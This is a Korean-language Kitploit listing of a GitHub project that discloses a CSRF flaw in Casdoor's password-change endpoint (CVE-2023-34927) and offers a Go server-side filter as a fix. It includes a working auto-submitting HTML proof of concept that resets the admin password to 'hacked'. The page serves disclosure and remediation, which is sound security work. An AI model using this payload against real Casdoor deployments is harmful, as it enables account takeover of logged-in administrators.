Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
csrf_casdoor — Casdoor의 `/api/set-password` 엔드포인트(CVE-2023-34927)에 대한 개념 증명 CSRF 익스플로잇으로, 교차 사이트 POST 요청을 통해 무단 비밀번호 변경을 가능하게 합니다. Go 기반 CSRF 필터 수정을 포함합니다. | Kitploit
도구/GitHubGitHub/vanlam2001/csrf_casdoor
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingAuthentication
GitHubvanlam2001/csrf_casdoor

csrf_casdoor

Casdoor의 `/api/set-password` 엔드포인트(CVE-2023-34927)에 대한 개념 증명 CSRF 익스플로잇으로, 교차 사이트 POST 요청을 통해 무단 비밀번호 변경을 가능하게 합니다. Go 기반 CSRF 필터 수정을 포함합니다.

저장소 보기
117일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Casdoor – 교차 사이트 요청 위조(CSRF)

요약

  • 취약점: /api/set-password의 CSRF로 인해 동의 없이 비밀번호 변경이 가능합니다.
  • 영향을 받는 버전: 소프트웨어의 모든 버전이 영향을 받습니다. 현재 패치된 릴리스는 없습니다.
  • CVE: CVE-2023-34927 (최신 CVE는 아직 할당되지 않음).
  • 익스플로잇 작성자: Van Lam Nguyen.
  • 테스트 환경: Windows

영향

  • 피해자가 Casdoor에 로그인한 상태라면, 교차 사이트 POST를 통해 피해자의 비밀번호(예: built-in/admin)를 변경하여 계정 탈취로 이어질 수 있습니다.

공격 전제 조건

  • 피해자가 인증되어 있고 유효한 casdoor_session_id 쿠키를 보유하고 있어야 합니다.
  • 피해자가 /api/set-password로 POST를 자동 제출하는 악성 페이지를 방문해야 합니다.

개념 증명

<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>
</html>

근본 원인

  • /api/* 하위의 상태 변경 엔드포인트가 동일 출처 검사(Origin/Referer)나 CSRF 토큰을 적용하지 않고 쿠키 인증 요청을 수락합니다.

수정 개요

  • 서버 측 CSRF 필터를 추가하여 /api/* 하위의 교차 사이트, 쿠키 기반 POST/PUT/DELETE/PATCH 요청을 거부합니다.
  • 명시적인 비쿠키 인증(예: Authorization, Basic 인증, 클라이언트 자격 증명 또는 accessToken)을 포함한 요청이나 브라우저 세션 쿠키가 없는 요청(일반적인 서버 간 호출)은 허용합니다.

구현

  • csrf_filter.go에 구현된 routers.CSRFFilter를 사용합니다. 이 필터는:
    • 상태를 변경하지 않는 메서드에 대해서는 조기 반환합니다.
    • 명시적인 비쿠키 인증이 있는 요청을 허용합니다.
    • 세션 쿠키가 존재하고 출처가 호스트와 일치하지 않는 경우 교차 사이트 요청을 차단합니다.

Casdoor에 통합하는 방법

  1. csrf_filter.go를 Casdoor 프로젝트의 기존 routers 패키지에 복사합니다. 이 파일의 내용을 수정하거나 삭제하지 마십시오.
  2. HTTP 파이프라인의 초기에 필터를 등록합니다(main 내부):
    // Beego v1 style
    web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    
    // If your project uses Beego v2 and imports as `web`:
    // web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    

검증

  • 필터를 등록한 후 로그인한 상태에서 위의 PoC를 재실행합니다. 요청은 Unauthorized operation과 함께 거부되어야 하며 서버는 CSRF check failed를 로그에 기록해야 합니다.
  • Authorization 헤더나 accessToken 매개변수를 포함하는 교차 출처 API 호출은 계속 작동해야 합니다.

저장소 파일

  • csrf_filter.go: Casdoor의 routers 패키지에 복사할 CSRF 필터입니다.
  • poc.html: CSRF 공격을 재현하는 최소 페이지입니다.
  • README.md: 취약점과 수정 단계를 설명하는 이 문서입니다.

참고 자료

  • Casdoor: https://casdoor.org/
  • 버전: https://github.com/casdoor/casdoor/releases
  • https://vulmon.com/vulnerabilitydetails?qid=CVE-2023-34927

영상

  • Youtube: https://youtu.be/N5VENgiObjY
도구 다운로드